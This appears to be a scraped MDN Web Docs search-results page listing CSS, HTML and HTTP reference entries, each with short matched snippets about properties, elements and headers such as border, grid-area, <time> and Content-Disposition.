... input:read-only, textarea:read-only { background-color: #ccc; } p:read-only { background-color: #ccc; } syntax :read-only examples confirming form information in read-only/read-write controls one use of readonly form controls is to allow the user to check and verify information that they may have entered in an earlier form (for example, shipping details), while still being able to submit the information along with the rest of the form.
... living standard no change.
...And 3 more matches
@font-face - CSS: Cascading Style Sheets
the @font-face css at-rule specifies a custom font with which to display text; the font can be loaded from either a remote server or a locally-installed font on the user's own computer.
... font-stretch a font-stretch value.
... since firefox 61 (and in other modern browsers) this also accepts two values to specify a range that is supported by a font-face, for example font-stretch: 50% 200%; font-style a font-style value.
...And 3 more matches
display-mode - CSS: Cascading Style Sheets
you can use it to provide a consistent user experience between launching a site from a url and launching it from a desktop icon.
...both apply to the top-level browsing context and any child browsing contexts.
... syntax the display-mode feature is specified as a keyword value chosen from the list below.
...And 3 more matches
size - CSS: Cascading Style Sheets
WebCSS@pagesize
the size css at-rule descriptor, used with the @page at-rule, defines the size and orientation of the box which is used to represent a page.
... <page-size> a5 this matches the standard, iso dimensions: 148mm x 210mm.
... a4 this matches the standard, iso dimensions: 210mm x 297mm.
...And 3 more matches
Box alignment for block, absolutely positioned and table layout - CSS: Cascading Style Sheets
as this page aims to detail things which are specific to block layout and box alignment, it should be read in conjunction with the main box alignment page, which details the common features of box alignment across layout methods.
...this document details how the specification expects these properties to be implemented for completeness, and is likely to change as the specification and browser implementations develop.
...if a content distribution method such as space-between, space-around or space-evenly is requested then the fallback alignment will be used, as the content is treated as a single alignment subject.
...And 3 more matches
Box alignment in grid layout - CSS: Cascading Style Sheets
as this page aims to detail things which are specific to css grid layout and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
... grid axes as a two-dimensional layout method, when working with grid layout we always have two axes on which to align our items.
... we have access to all of the box alignment properties to help us achieve this.
...And 3 more matches
Handling content breaks in multicol - CSS: Cascading Style Sheets
breaks before and after boxes, which would include our heading example above.
... the orphans and widows properties take an integer as a value, which represents the number of lines to keep together at the end and start of a fragment, respectively.
... note that these properties only work inside a block container, such as a paragraph.
...And 3 more matches
Logical properties for floating and positioning - CSS: Cascading Style Sheets
if you change the writing-mode to vertical-rl or the direction to rtl you will see that the left-floated box always sticks to the left, whereas the inline-start-floated item follows the direction and writing-mode.
... in the below example i have used the inset-block-start and inset-inline-end properties to position the blue box using absolute positioning inside the area with the grey dotted border, which has position: relative.
... change the writing-mode property to vertical-rl, or add direction: rtl, and see how the flow relative box stays with the text direction.
...And 3 more matches
Logical properties for sizing - CSS: Cascading Style Sheets
when specifying the size of an item, the logical properties and values specification gives you the ability to indicate sizing as it relates to the flow of text (inline and block) rather than physical sizing which relates to the physical dimensions of horizontal and vertical (e.g.
...these mappings assume that you are in a horizontal-tb writing mode, such as english or arabic, in which case width would be mapped to inline-size.
... logical property physical property inline-size width block-size height min-inline-size min-width min-block-size min-height max-inline-size max-width max-block-size max-height width and height example the logical mappings for width and height are inline-size, which sets the length in the inline dimension and block-size, which sets the length in the block dimension.
...And 3 more matches
Browser compatibility and Scroll Snap - CSS: Cascading Style Sheets
this will ensure your scroll snapping works in all browsers which implement the specification, including firefox.
... in this initial example we have used the old specification alongside the current specification in order to make scroll snapping work in all browsers which support some form of scroll snapping.
... the example adds the scroll-snap-points-y and scroll-snap-destination properties, which are deprecated, to make scroll snapping work in firefox.
...And 3 more matches
Cookbook template - CSS: Cascading Style Sheets
recipe change the path to the example below to point to your merged example.
... the last parameter is the live example height, which you can change as needed.
... change the link to point to your merged download version.
...And 3 more matches
CSS Layout cookbook - CSS: Cascading Style Sheets
in addition to providing code you can use as a starting point in your projects, these recipes highlight the different ways layout specifications can be used, and the choices you can make as a developer.
... css grid, float fallback, fit-content() sizing columns when to choose multi-column layout, flexbox or grid for your columns.
... flexbox, box alignment sticky footers creating a footer which sits at the bottom of the container or viewport when the content is shorter.
...And 3 more matches
WebKit CSS extensions - CSS: Cascading Style Sheets
applications based on webkit or blink, such as safari and chrome, support a number of special webkit extensions to css.
...bkit-box-lines** -webkit-box-ordinal-group** -webkit-box-orient** -webkit-box-pack** -webkit-box-reflect** c -webkit-column-axis -webkit-column-break-after -webkit-column-break-before -webkit-column-break-inside -webkit-column-progression -webkit-cursor-visibility d-i -webkit-dashboard-region -webkit-font-size-delta -webkit-font-smoothing -webkit-highlight -webkit-hyphenate-character -webkit-hyphenate-limit-after -webkit-hyphenate-limit-before -webkit-hyphenate-limit-lines -webkit-initial-letter l -webkit-line-align -webkit-line-box-contain -webkit-line-clamp -webkit-line-grid -webkit-line-snap -webkit-locale -webkit-logical-height -webkit-logical-width m -webkit-margin-after-collapse -webkit-margin-after -webkit-margin-before-collapse -webkit-m...
... -webkit-alt* -webkit-color-correction -webkit-flow-from -webkit-flow-into -webkit-grid-columns (see grid-column) -webkit-grid-rows (see grid-row) -webkit-hyphenate-charset -webkit-image-set (see image-set()) -webkit-mask-attachment -webkit-match-nearest-mail-blockquote-color -webkit-overflow-scrolling -webkit-region-break-after -webkit-region-break-before -webkit-region-break-inside -webkit-region-fragment -webkit-shape-inside -webkit-touch-callout (see touch-action) background-origin-x (unprefixed!) background-origin-y (unprefixed!) * still sup...
...And 3 more matches
attr() - CSS: Cascading Style Sheets
WebCSSattr
it can also be used on pseudo-elements, in which case the value of the attribute on the pseudo-element's originating element is returned.
...it is not reparsed, and in particular the characters are used as-is instead of css escapes being turned into different characters.
...if not set, css will use the default value defined for each <type-or-unit>.
...And 3 more matches
border-bottom-width - CSS: Cascading Style Sheets
if it's a keyword, it must be one of the following values: thin a thin border medium a medium border thick a thick border note: because the specification doesn't define the exact thickness denoted by each keyword, the precise result when using one of them is implementation-specific.
...it also applies to ::first-letter.inheritednocomputed valuethe absolute length or 0 if border-bottom-style is none or hiddenanimation typea length formal syntax <line-width>where <line-width> = <length> | thin | medium | thick examples comparing bottom border widths html <div>element 1</div> <div>element 2</div> css div { border: 1px solid red; margin: 1em 0; } div:nth-child(1) { border-bottom-width: thick; } div:nth-child(2) { border-bottom-width: 2em; } result specifications specification status comment css backgrounds and borders module level 3the definition of 'border-bottom-width' in that specification.
... candidate recommendation no significant change.
...And 3 more matches
border-image - CSS: Cascading Style Sheets
accessibility concerns assistive technology cannot parse border images.
... mdn understanding wcag, guideline 1.1 explanations understanding success criterion 1.1.1 | understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:border-image-source: noneborder-image-slice: 100%border-image-width: 1border-image-outset: 0border-image-repeat: stretchapplies toall elements, except internal table elements when border-collapse is collapse.
... it also applies to ::first-letter.inheritednopercentagesas each of the properties of the shorthand:border-image-slice: refer to the size of the border imageborder-image-width: refer to the width or height of the border image areacomputed valueas each of the properties of the shorthand:border-image-outset: as specified, but with relative lengths converted into absolute lengthsborder-image-repeat: as specifiedborder-image-slice: one to four percentage(s) (as specified) or absolute length(s), plus the keyword fill if specifiedborder-image-source: none or the image with its uri made absoluteborder-image-width: as specified, but with relative lengths converted into absolute lengthsanimation typediscrete formal syntax <'border-image-source'> | <'border-image-slice'> [ / <'border-image-width'> |...
...And 3 more matches
border-inline-end - CSS: Cascading Style Sheets
constituent properties this property is a shorthand for the following css properties: border-inline-end-color border-inline-end-style border-inline-end-width syntax border-inline-end: 1px; border-inline-end: 2px dashed; border-inline-end: medium dashed blue; the physical border to which border-inline-end maps depends on the element's writing mode, directionality, and text orientation.
... related properties are border-block-start, border-block-end, and border-inline-start, which define the other borders of the element.
... initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: nonecolor: varies from one browser to anotherapplies toall elementsinheritednocomputed valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is none or ...
...And 3 more matches
border-left - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-left-width: mediumborder-left-style: noneborder-left-color: currentcolorapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas each of the properties of the shorthand:border-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-left-style: as specifiedborder-left-color: computed coloranimation typeas each of the properties of the shorthand:border-left-color: a colorborder-left-style: discreteborder-left-width: a length formal syntax <line-width> | <line-style> | <color>where <line-width> = <length> | thin | medium | thick<line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset<color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... candidate recommendation no direct changes, though the modification of values for the border-left-color do apply to it.
...And 3 more matches
border-right - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-right-width: mediumborder-right-style: noneborder-right-color: currentcolorapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas each of the properties of the shorthand:border-right-width: the absolute length or 0 if border-right-style is none or hiddenborder-right-style: as specifiedborder-right-color: computed coloranimation typeas each of the properties of the shorthand:border-right-color: a colorborder-right-style: discreteborder-right-width: a length formal syntax <line-width> | <line-style> | <color>where <line-width> = <length> | thin | medium | thick<line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset<color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... candidate recommendation no direct changes, though the modification of values for the border-right-color do apply to it.
...And 3 more matches
border-top - CSS: Cascading Style Sheets
formal definition initial valueas each of the properties of the shorthand:border-top-width: mediumborder-top-style: noneborder-top-color: currentcolorapplies toall elements.
... it also applies to ::first-letter.inheritednocomputed valueas each of the properties of the shorthand:border-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-top-style: as specifiedborder-top-color: computed coloranimation typeas each of the properties of the shorthand:border-top-color: a colorborder-top-style: discreteborder-top-width: a length formal syntax <line-width> | <line-style> | <color>where <line-width> = <length> | thin | medium | thick<line-style> = none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset<color> = <rgb()> | <rgba()> | <hsl()> | <hsla()> | <hex-color> | <named-color> | currentcolor | <deprecated-system-color>where <rgb()> = rgb( <percentage>{3} [ / <alpha-value> ]?
... candidate recommendation no direct changes, though the modification of values for the border-top-color do apply to it.
...And 3 more matches
border - CSS: Cascading Style Sheets
WebCSSborder
to make them different from each other, however, you can use the longhand border-width, border-style, and border-color properties, which accept different values for each side.
... formal definition initial valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-top-width: mediumborder-right-width: mediumborder-bottom-width: mediumborder-left-width: mediumborder-style: as each of the properties of the shorthand:border-top-style: noneborder-right-style: noneborder-bottom-style: noneborder-left-style: noneborder-color: as each of the properties of the shortha...
...it also applies to ::first-letter.inheritednocomputed valueas each of the properties of the shorthand:border-width: as each of the properties of the shorthand:border-bottom-width: the absolute length or 0 if border-bottom-style is none or hiddenborder-left-width: the absolute length or 0 if border-left-style is none or hiddenborder-right-width: the absolute length or 0 if border-right-style is none or hiddenborder-top-width: the absolute length or 0 if border-top-style is none or hiddenborder-style: as each of the properties of the shorthand:border-bottom-style: as specifiedborder-left-style: as specifiedborder-right-style: as specifiedborde...
...And 3 more matches
box-flex-group - CSS: Cascading Style Sheets
the box-flex-group css property assigns the flexbox's child elements to a flex group.
...each element within that group is given extra space based on the ratio of that element's flexibility compared to the flexibility of other elements within the same flex group.
... if the space of all flexible children within the group has been increased to the maximum, the process repeats for the children within the next flex group, using any space left over from the previous flex group.
...And 3 more matches
column-count - CSS: Cascading Style Sheets
syntax /* keyword value */ column-count: auto; /* <integer> value */ column-count: 3; /* global values */ column-count: inherit; column-count: initial; column-count: unset; values auto the number of columns is determined by other css properties, such as column-width.
... <integer> is a strictly positive <integer> describing the ideal number of columns into which the content of the element will be flowed.
... formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> | auto examples splitting a paragraph across three columns html <p class="content-box"> this is a bunch of text split into three columns using the css `column-count` property.
...And 3 more matches
Computed value - CSS: Cascading Style Sheets
the computed value of a css property is the value that is transferred from parent to child during inheritance.
... doing the computation needed to reach the value described in the "computed value" line in the property's definition table.
... the computation needed to reach a property's computed value typically involves converting relative values (such as those in em units or percentages) to absolute values.
...And 3 more matches
counters() - CSS: Cascading Style Sheets
WebCSScounters
/* simple usage - style defaults to decimal */ counters(countername, '-'); /* changing the counter display */ counters(countername, '.', upper-roman) a counter has no visible effect by itself.
... check the browser compatibility table carefully before using this in production.
... syntax values <custom-ident> a name identifying the counters, which is the same case-sensitive name used for the counter-reset and counter-increment.
...And 3 more matches
cursor - CSS: Cascading Style Sheets
WebCSScursor
each <url> should point to an image file.
... each <url> may be optionally followed by a pair of space-separated numbers, which represent <x><y> coordinates.
...sometimes an image of an hourglass or a watch.
...And 3 more matches
env() - CSS: Cascading Style Sheets
WebCSSenv
the difference is that, as well as being user-agent defined rather than user-defined, environment variables are globally scoped to a document, whereas custom properties are scoped to the element(s) on which they are declared.
...use the whole available space on the screen, and so enabling us to use the env() variables, we need to add a new viewport meta value: <meta name="viewport" content="viewport-fit=cover" /> body { padding: env(safe-area-inset-top, 20px) env(safe-area-inset-right, 20px) env(safe-area-inset-bottom, 20px) env(safe-area-inset-left, 20px); } in addition, unlike custom properties, which cannot be used outside of declarations, the env() function can be used in place of any part of a property value, or any part of a descriptor (e.g.
...as the spec evolves, it may also be usable in other places such as selectors.
...And 3 more matches
<filter-function> - CSS: Cascading Style Sheets
the <filter-function> css data type represents a graphical effect that can change the appearance of an input image.
...each function requires an argument which, if invalid, results in no filter being applied.
... hue-rotate()​​​​​​​​​​​​​​ changes the overall hue of the image.
...And 3 more matches
font-feature-settings - CSS: Cascading Style Sheets
ntype feature tags */ font-feature-settings: "smcp"; font-feature-settings: "smcp" on; font-feature-settings: "swsh" 2; font-feature-settings: "smcp", "swsh" 2; /* global values */ font-feature-settings: inherit; font-feature-settings: initial; font-feature-settings: unset; whenever possible, web authors should instead use the font-variant shorthand property or an associated longhand property such as font-variant-ligatures, font-variant-caps, font-variant-east-asian, font-variant-alternates, font-variant-numeric or font-variant-position.
... these lead to more effective, predictable, understandable results than font-feature-settings, which is a low-level feature designed to handle special cases where no other way exists to enable or access an opentype font feature.
...the tag is always a <string> of 4 ascii characters.
...And 3 more matches
grid-area - CSS: Cascading Style Sheets
WebCSSgrid-area
the grid-area property can also be set to a <custom-ident> which acts as a name for the area, which can then be placed using grid-template-areas.
... <custom-ident> if there is a named line with the name '<custom-ident>-start'/'<custom-ident>-end', it contributes the first such line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-area: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it).
...And 3 more matches
grid-column - CSS: Cascading Style Sheets
each <grid-line> value can be specified as: either the auto keyword or a <custom-ident> value or an <integer> value or both <custom-ident> and <integer>, separated by a space or the keyword span together with either a <custom-ident> or an <integer> or both.
... <custom-ident> if there is a named line with the name '<custom-ident>-start'/'<custom-ident>-end', it contributes the first such line to the grid item’s placement.
... note: named grid areas automatically generate implicit named lines of this form, so specifying grid-column: foo; will choose the start/end edge of that named grid area (unless another line named foo-start/foo-end was explicitly specified before it).
...And 3 more matches
ime-mode - CSS: Cascading Style Sheets
WebCSSime-mode
note: in general, it's not appropriate for a public web site to change the ime mode.
... values auto no change is made to the current input method editor state.
...users may correct the inappropriate behavior of sites that don't follow this recommendation by placing the following css into their user stylesheet: input[type=password] { ime-mode: auto !important; } the mac version of gecko 1.9 (firefox 3) can't recover the previous state of the ime when a field for which it is disabled loses focus, so mac users may get grumpy when you use the disabled value.
...And 3 more matches
mask-border-slice - CSS: Cascading Style Sheets
bottom */ mask-border-slice: 30 30% 45; /* top | right | bottom | left */ mask-border-slice: 7 12 14 5; /* using the `fill` keyword */ mask-border-slice: 10% fill 7 12; /* global values */ mask-border-slice: inherit; mask-border-slice: initial; mask-border-slice: unset; the mask-border-slice property may be specified using one to four <number-percentage> values to represent the position of each image slice.
...its width and height are sized to match the top and left image regions, respectively.
... the above diagram illustrates the location of each region.
...And 3 more matches
mask-repeat - CSS: Cascading Style Sheets
here is an explanation of how each option works for either direction: repeat the image is repeated as much as needed to cover the whole mask painting area.
... space the image is repeated as much as possible without clipping.
... round as the allowed space increases in size, the repeated images will stretch (leaving no gaps) until there is room for another one to be added.
...And 3 more matches
max() - CSS: Cascading Style Sheets
WebCSSmax
in the first above example, the width will be at least 400px, but will be wider if the the viewport is more than 2000px wide (in which case 1vw would be 20px, so 20vw would be 400px).
... syntax the max() function takes one or more comma-separated expressions as its parameter, with the largest (most positive) expression value used as the value of the property to which it is assigned.
... the expressions can be math expressions (using arithmetic operators), literal values, or other expressions, such as attr(), that evaluate to a valid argument type (like <length>), or nested min() and max() functions.
...And 3 more matches
overscroll-behavior-block - CSS: Cascading Style Sheets
the overscroll-behavior-block css property sets the browser's behavior when the block direction boundary of a scrolling area is reached.
... /* keyword values */ overscroll-behavior-block: auto; /* default */ overscroll-behavior-block: contain; overscroll-behavior-block: none; /* global values */ overscroll-behavior-block: inherit; overscroll-behavior-block: initial; overscroll-behavior-block: unset; syntax the overscroll-behavior-block property is specified as a keyword chosen from the list of values below.
..."bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
...And 3 more matches
overscroll-behavior-inline - CSS: Cascading Style Sheets
the overscroll-behavior-inline css property sets the browser's behavior when the inline direction boundary of a scrolling area is reached.
... /* keyword values */ overscroll-behavior-inline: auto; /* default */ overscroll-behavior-inline: contain; overscroll-behavior-inline: none; /* global values */ overscroll-behavior-inline: inherit; overscroll-behavior-inline: initial; overscroll-behavior-inline: unset; syntax the overscroll-behavior-inline property is specified as a keyword chosen from the list of values below.
..."bounce" effects or refreshes), but no scroll chaining occurs to neighbouring scrolling areas, e.g.
...And 3 more matches
<percentage> - CSS: Cascading Style Sheets
numerous properties can use percentages, such as width, height, margin, padding, and font-size.
...thus, even if a percentage value is used on the parent property, a real value (such as a width in pixels for a <length> value) will be accessible on the inherited property, not the percentage value.
... examples width and margin-left <div style="background-color:navy;"> <div style="width:50%; margin-left:20%; background-color:chartreuse;"> width: 50%, left margin: 20% </div> <div style="width:30%; margin-left:60%; background-color:pink;"> width: 30%, left margin: 60% </div> </div> the above html will output: font-size <div style="font-size:18px;"> <p>full-size text (18px)</p> <p><span style="font-size:50%;">50% (9px)</span></p> <p><span style="font-size:200%;">200% (36px)</span></p> </div> the...
...And 3 more matches
radial-gradient() - CSS: Cascading Style Sheets
the function's result is an object of the <gradient> data type, which is a special kind of <image>.
... syntax /* a gradient at the center of its container, starting red, changing to blue, and finishing green */ radial-gradient(circle at center, red 0, blue, green 100%) values <position> the position of the gradient, interpreted in the same way as background-position or transform-origin.
...the length defines at which point between two color stops the gradient color should reach the midpoint of the color transition.
...And 3 more matches
repeating-conic-gradient() - CSS: Cascading Style Sheets
the length defines at which point between two color stops the gradient color should reach the midpoint of the color transition.
...the result of the repeating-conic-gradient() function is an object of the <gradient> data type, which is a special kind of <image>.
...its concrete size will match the size of the element it applies to, or the size the <image> is set to if it's set to something other than the element's size.
...And 3 more matches
<resolution> - CSS: Cascading Style Sheets
on screens, the units are related to css inches, centimeters, or pixels, not physical values.
... units dpi represents the number of dots per inch.
... screens typically contains 72 or 96 dots per inch, but the dpi for printed documents is usually much greater.
...And 3 more matches
scroll-margin - CSS: Cascading Style Sheets
the scroll-margin shorthand property sets all of the scroll margins of an element at once, assigning values much like the margin property does for margins of an element.
...the value specified for scroll-margin determines how much of the page that's primarily outside the snapport should remain visible.
... the aim here is to create four horizontally-scrolling blocks, the second and third of which snap into place, near but not quite at the left of each block.
...And 3 more matches
scrollbar-color - CSS: Cascading Style Sheets
the track refers to the background of the scrollbar, which is generally fixed regardless of the scrolling position.
... the thumb refers to the moving part of the scrollbar, which usually floats on top of the track.
... dark show a dark scrollbar, which can be either a dark variant of scrollbar provided by the platform, or a custom scrollbar with dark colors.
...And 3 more matches
text-orientation - CSS: Cascading Style Sheets
the text-orientation css property sets the orientation of the text characters in a line.
... values mixed rotates the characters of horizontal scripts 90° clockwise.
... lays out the characters of vertical scripts naturally.
...And 3 more matches
text-overflow - CSS: Cascading Style Sheets
each value is specified as one of: one of the keyword values: clip, ellipsis, fade the function fade(), which is passed a <length> or a <percentage> to control the fade distance a <string>.
...this keyword value will truncate the text at the limit of the content area, therefore the truncation can happen in the middle of a character.
... to clip at the transition between characters you can specify text-overflow as an empty string, if that is supported in your target browsers: text-overflow: '';.
...And 3 more matches
rotate3d() - CSS: Cascading Style Sheets
in 3d space, rotations have three degrees of liberty, which together describe a single axis of rotation.
...a non-normalizable vector, such as the null vector, [0, 0, 0], will cause the rotation to be ignored, but without invaliding the whole css property.
...in other words, the order in which the rotations are applied impacts the result.
...And 3 more matches
<transform-function> - CSS: Cascading Style Sheets
each function applies a geometric operation in either 2d or 3d.
...thus, each coordinate changes based on the values in the matrix: ac bd xy = ax+cy bx+dy it is even possible to apply several transformations in a row: a1 c1 b1 d1 a2 c2 b2 d2 = a1 a2 + c1 b2 a1 c2 + c1 d2 b1 a2 + d1 b2 b1 c2 + d1 d2 with this notation, it is possible to describe, and therefore compose, most common transformations: rotations, scaling, o...
... examples transform function comparison the following example provides a 3d cube created from dom elements and transforms, and a select menu allowing you to choose different transform functions to transform the cube with, so you can compare the effects of the different types.
...And 3 more matches
url() - CSS: Cascading Style Sheets
WebCSSurl()
depending on the property for which it is a value, the resource sought can be an image, font, or a stylesheet.
... syntax values <string> <url> a url, which is a relative or absolute address, or pointer, to the web resource to be included, or a data uri, optionally in single or double quotes.
... quotes are required if the url includes parentheses, whitespace, or quotes, unless these characters are escaped, or if the address includes control characters above 0x7e.
...And 3 more matches
<url> - CSS: Cascading Style Sheets
WebCSSurl
the <url> css data type denotes a pointer to a resource, such as an image or a font.
... urls can be used in numerous css properties, such as background-image, cursor, and list-style.
...this change was not only awkward but, debatably, unnecessary, since urns are almost never used in actual css.
...And 3 more matches
regexp:replace() - EXSLT
WebEXSLTregexpreplace
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes regexp:replace() replaces the portions of a string that match a given regular expression with the contents of another string.
... syntax regexp:replace(originalstring, regexpstring, flagsstring, replacestring) parameters originalstring the string perform a search-and-replace operation upon.
... flagsstring the string containing character flags.
...And 3 more matches
Mutation events - Developer guides
mutation events provide a mechanism for a web page or an extension to get notified about changes made to the dom.
...they are expected to be included in firefox 14 and chrome 18.
...domelementnamechanged and domattributenamechanged are not supported in firefox (as of version 11), and probably in other browsers as well.
...And 3 more matches
<abbr>: The Abbreviation element - HTML: Hypertext Markup Language
WebHTMLElementabbr
each <abbr> element you use is independent from all others; providing a title for one does not automatically attach the same expansion text to others with the same content text.
... to define an abbreviation which may be unfamiliar to the reader, present the term using <abbr> and either a title attribute or inline text providing the definition.
... you can use <abbr> in concert with <dfn> to establish definitions for terms which are abbreviations or acronyms.
...And 3 more matches
<content>: The Shadow DOM Content Placeholder element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementcontent
the html <content> element—an obsolete part of the web components suite of technologies—was used inside of shadow dom as an insertion point, and wasn't meant to be used in ordinary html.
... it has now been replaced by the <slot> element, which creates a point in the dom at which a shadow dom can be inserted.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...And 3 more matches
<em>: The Emphasis element - HTML: Hypertext Markup Language
WebHTMLElementem
the <em> element can be nested, with each level of nesting indicating a greater degree of emphasis.
... usage notes the <em> element is for words that have a stressed emphasis compared to surrounding text, which is often limited to a word or words of a sentence and affects the meaning of the sentence itself.
...use the <i> element to mark text that is in an alternate tone or mood, which covers many common situations for italics such as scientific names or words in other languages.
...And 3 more matches
<main> - HTML: Hypertext Markup Language
WebHTMLElementmain
permitted parents where flow content is expected, but only if it is a hierarchically correct main element.
...content that is repeated across a set of documents or document sections such as sidebars, navigation links, copyright information, site logos, and search forms shouldn't be included unless the search form is the main function of the page.
... <main> doesn't contribute to the document's outline; that is, unlike elements such as <body>, headings such as <h2>, and such, <main> doesn't affect the dom's concept of the structure of the page.
...And 3 more matches
<nextid>: The NeXT ID element (Obsolete) - HTML: Hypertext Markup Language
WebHTMLElementnextid
<nextid> is an obsolete html element that served to enable the next web designing tool to generate automatic name labels for its anchors.
...<form>, <input>, <textarea>, <select>, and <option> html version 2 strict level 1 this is like regular level 1 but it also excludes these depreciated elements, along with such constructs as nesting a header (<h*> element) within a link (<a> element) html version 2 level 2 this is the default and includes and permits all html level 2 functions and elements and attributes html version 2 strict level 2 this excludes these depreciated elements and also forbids such constructs as nesting a header (<h*> element) within a link (<a> element), or having a forms <input> elem...
...ent which is not within a block level element such as <p> html version 3.2 <nextid> has vanished altogether, never to be heard from again.
...And 3 more matches
<section>: The Generic Section element - HTML: Hypertext Markup Language
WebHTMLElementsection
the html <section> element represents a standalone section — which doesn't have a more specific semantic element to represent it — contained within an html document.
... as an example, a navigation menu should be wrapped in a <nav> element, but a list of search results and a map display and its controls don't have specific elements, and could be put inside a <section>.
... note: if the contents of the element would make sense syndicated as a standalone piece, the <article> element may be a better choice.
...And 3 more matches
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
WebHTMLElementsummary
a <summary> element may only be used as the first child of a <details> element.
... when the user clicks on the summary, the parent <details> element is toggled open or closed, and then a toggle event is sent to the <details> element, which can be used to let you know when this state change occurs.
... default label text if a <details> element's first child is not a <summary> element, the user agent will use a default string (typically "details") as the label for the disclosure box.
...And 3 more matches
<time> - HTML: Hypertext Markup Language
WebHTMLElementtime
it may include the datetime attribute to translate dates into machine-readable format, allowing for better search engine results or custom features such as reminders.
... usage notes this element is for presenting dates and times in a machine readable format.
... the datetime value (the machine-readable value of the datetime) is the value of the element’s datetime attribute, which must be in the proper format (see below).
...And 3 more matches
<tt>: The Teletype Text element (obsolete) - HTML: Hypertext Markup Language
WebHTMLElementtt
the obsolete html teletype text element (<tt>) creates inline text which is presented using the user agent's default monospace font face.
... this element was created for the purpose of rendering text as it would be displayed on a fixed-width display such as a teletype, text-only screen, or line printer.
... the terms non-proportional, monotype, and monospace are used interchangeably and have the same general meaning: they describe a typeface whose characters are all the same number of pixels wide.
...And 3 more matches
dir - HTML: Hypertext Markup Language
it can have the following values: ltr, which means left to right and is to be used for languages that are written from the left to the right (like english); rtl, which means right to left and is to be used for languages that are written from the right to the left (like arabic); auto, which lets the user agent decide.
... it uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then applies that directionality to the whole element.
... browsers might allow users to change the directionality of <input> and <textarea>s in order to assist with authoring content.
...And 3 more matches
translate - HTML: Hypertext Markup Language
the translate global attribute is an enumerated attribute that is used to specify whether an element's translateable attribute values and its text node children should be translated when the page is localized, or whether to leave them unchanged.
... it can have the following values: empty string or "yes", which indicates that the element should be translated when the page is localized.
... "no", which indicates that the element must not be translated.
...And 3 more matches
List of default Accept values - HTTP
(source) safari, chrome text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 (source) safari 5 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 this is an improvement over earlier accept headers as it no longer ranks image/png above text/html internet explorer 8 image/jpeg, application/x-ms-application, image/gif, appl...
...source safari */* chrome image/webp,image/apng,image/*,*/*;q=0.8 source internet explorer 8 or earlier */* see ie and the accept header (ieinternals' msdn blog) internet explorer 9 image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5 see fiddler is better with internet explorer 9 (ieinternals' msdn blog) values for a video when a video is requested, via the <video> html element...
... user agent value comment firefox earlier than 3.6 no support for <video> firefox 3.6 and later video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5 see bug 489071 source chrome */* source internet explorer 8 or earlier no support for <video> values for audio resources when an audio file is requested, like via the <audio> html element, most browsers use specific values.
...And 3 more matches
Accept-Language - HTTP
the accept-language request http header advertises which languages the client is able to understand, and which locale variant is preferred.
... (by languages, we mean natural languages, such as english, and not programming languages.) using content negotiation, the server then selects one of the proposals, uses it and informs the client of its choice with the content-language response header.
... browsers set adequate values for this header according to their user interface language and even if a user can change it, this happens rarely (and is frowned upon as it leads to fingerprinting).
...And 3 more matches
Content-Disposition - HTTP
in a regular http response, the content-disposition response header is a header indicating if the content is expected to be displayed inline in the browser, that is, as a web page or as part of a web page, or as an attachment, that is downloaded and saved locally.
... header type response header (for the main body) general header (for a subpart of a multipart body) forbidden header name no syntax as a response header for the main body the first parameter in the http context is either inline (default value, indicating it can be displayed inside the web page, or as the web page) or attachment (indicating it should be downloaded; most browsers presenting a 'save as' dialog, prefilled with the value of the filename parameters if present).
... content-disposition: inline content-disposition: attachment content-disposition: attachment; filename="filename.jpg" as a header for a multipart body the first parameter in the http context is always form-data.
...And 3 more matches
Expect-CT - HTTP
ct requirements can be satisfied via any one of the following mechanisms: x.509v3 certificate extension to allow embedding of signed certificate timestamps issued by individual logs a tls extension of type signed_certificate_timestamp sent during the handshake supporting ocsp stapling (that is, the status_request tls extension) and providing a signedcertificatetimestamplist when a site enables the expect-ct header, they are requesting that the browser check that any certificate for that site appears in public ct logs.
...certificates before march 2018 were allowed to have a lifetime of 39 months, those will all be expired in june 2021.
... header type response header forbidden header name yes syntax expect-ct: report-uri="<uri>", enforce, max-age=<age> directives max-age the number of seconds after reception of the expect-ct header field during which the user agent should regard the host of the received message as a known expect-ct host.
...And 3 more matches
Pragma - HTTP
